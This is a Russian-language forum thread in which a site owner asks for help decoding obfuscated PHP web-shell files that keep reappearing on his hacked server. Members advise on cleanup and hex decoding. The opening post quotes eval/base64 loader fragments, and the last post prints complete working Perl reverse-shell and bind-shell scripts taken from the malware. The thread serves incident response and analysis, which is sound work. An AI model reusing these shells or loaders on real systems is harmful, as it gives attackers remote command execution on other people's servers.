Можно ли раскодировать это?

Тема в разделе "PHP", создана пользователем beldvd, 5 фев 2011.

Статус темы:
Закрыта.
Модераторы: latteo
  1. beldvd

    beldvd

    Регистр.:
    28 июн 2007
    Сообщения:
    163
    Симпатии:
    46
    Нашел вот на сервере лишние файлы с содержимым вида
    PHP:
    <?php
    eval(base64_decode('JGF1dGhfcGFzcyA9ICJhZjAyMDllNjEwMjUxZDQ
    PHP:
    <?php ${"GL\x4fB\x41\x4c\x53"}["m\x70\x79\x63\x6e\x61x"]="\x6
    PHP:
    $auth_pass "ххххххххххххххххххххххххххххх"#root
    $color "#df5";
    $default_action "что-то";
    $default_charset "Windows-1251";
    preg_replace("/.*/e","\x65\x76\x61\
    , которые после удаления появляются снова под другими именами и в несколько других обличиях. Запарился чистить. Пароли ftp менял несколько раз - не помогает, есть подозрение, что долбаный хакер хакнул root пароль хостера. Во всяком случае, файлы под 444 и в папках под 555 заменяются/инклудятся на ура... ,-(
    Можно ли раскодировать это? Может это поможет как-то вычислить, откуда ноги выросли...
     
  2. Liver

    Liver

    Регистр.:
    24 сен 2008
    Сообщения:
    316
    Симпатии:
    91
    По виду - обычные веб-шеллы. Надо их искать и вырезать.
    чтобы узнать, что делают - просто запустить через браузер

    ноги надо искать в логах доступа к этим файлам. А заодно посмотреть в инете нет ли дыр пот текущую версию движка.

    Далее сменить пароли на все что можно, убрать излишние 777 и добавить .htaccess в нужные места и в нем запретить выполнение php.
     
  3. Belial

    Belial

    Регистр.:
    1 фев 2010
    Сообщения:
    236
    Симпатии:
    113
    Можно, выкладывай зашифрованный код полностью.
     
    beldvd нравится это.
  4. beldvd

    beldvd

    Регистр.:
    28 июн 2007
    Сообщения:
    163
    Симпатии:
    46
    Коды в архиве к посту.
    Пароли менялись не раз и на очень серьезные, chmod зажаты до ручки вплоть до 400 местами и 555 на папки, где только можно. Не помогает.
     

    Вложения:

    • codes.zip
      Размер файла:
      104,6 КБ
      Просмотров:
      12
  5. Belial

    Belial

    Регистр.:
    1 фев 2010
    Сообщения:
    236
    Симпатии:
    113
    Архив битый.
     
    beldvd нравится это.
  6. beldvd

    beldvd

    Регистр.:
    28 июн 2007
    Сообщения:
    163
    Симпатии:
    46
    Странно... Переделал, 7z or rar на выбор.
    Спасибо!
     

    Вложения:

    • codes.rar
      Размер файла:
      103 КБ
      Просмотров:
      9
    • codes.7z
      Размер файла:
      98,8 КБ
      Просмотров:
      6
  7. ZCFD

    ZCFD

    Регистр.:
    16 янв 2008
    Сообщения:
    989
    Симпатии:
    437
    честно говоря - я не занимаюсь такими вещами и вручную мне муторно
    Если очень нужно -- открывай index.php в notepad++
    выделяй строку типа \x63\x6f\x6ef\x69g\x2eph\x70 потом в меню - TextFX Convert - Convert hex to text
    автоматизировать на один раз лень -- а так - напиши макрос в редакторе и вперед строки декодировать
    + аккуратнее, там текст смешанный и не все так кодировано - так что выделяй именно руч кодированные символы \x11 т.е. две цифры после \x

    в архиве пара файлов для примера - что в итоге, но труд муторный и неблагодарный -- шеллы банальные

    при большом желании - скачивай свои скрипты на комп и ищи по текстам файлов \x -- в обычных скриптах такое редко встречается, за ненадобностью
     

    Вложения:

    • 8.zip
      Размер файла:
      33,9 КБ
      Просмотров:
      7
    beldvd нравится это.
  8. Belial

    Belial

    Регистр.:
    1 фев 2010
    Сообщения:
    236
    Симпатии:
    113
    Вот что получилось:
     

    Вложения:

    • codes.rar
      Размер файла:
      73,8 КБ
      Просмотров:
      9
    beldvd нравится это.
  9. beldvd

    beldvd

    Регистр.:
    28 июн 2007
    Сообщения:
    163
    Симпатии:
    46
    Спасибо всем огромное, буду разбираться.
    А вот эти две ф-ции во вложении можно раскодировать?
     

    Вложения:

  10. Belial

    Belial

    Регистр.:
    1 фев 2010
    Сообщения:
    236
    Симпатии:
    113
    $back_connect_p:
    Код:
    #!/usr/bin/perl
    use Socket;
    $iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
    $paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
    $proto=getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system('/bin/sh -i');
    close(STDIN);
    close(STDOUT);
    close(STDERR);
    
    $bind_port_p:
    Код:
    #!/usr/bin/perl
    $SHELL="/bin/sh -i";
    if (@ARGV < 1) { exit(1); }
    use Socket;
    socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
    setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
    bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
    listen(S,3) || die "Cant listen port\n";
    while(1) {
    	accept(CONN,S);
    	if(!($pid=fork)) {
    		die "Cannot fork" if (!defined $pid);
    		open STDIN,"<&CONN";
    		open STDOUT,">&CONN";
    		open STDERR,">&CONN";
    		exec $SHELL || die print CONN "Cant execute $SHELL\n";
    		close CONN;
    		exit 0;
    	}
    }
    
     
    beldvd нравится это.
Статус темы:
Закрыта.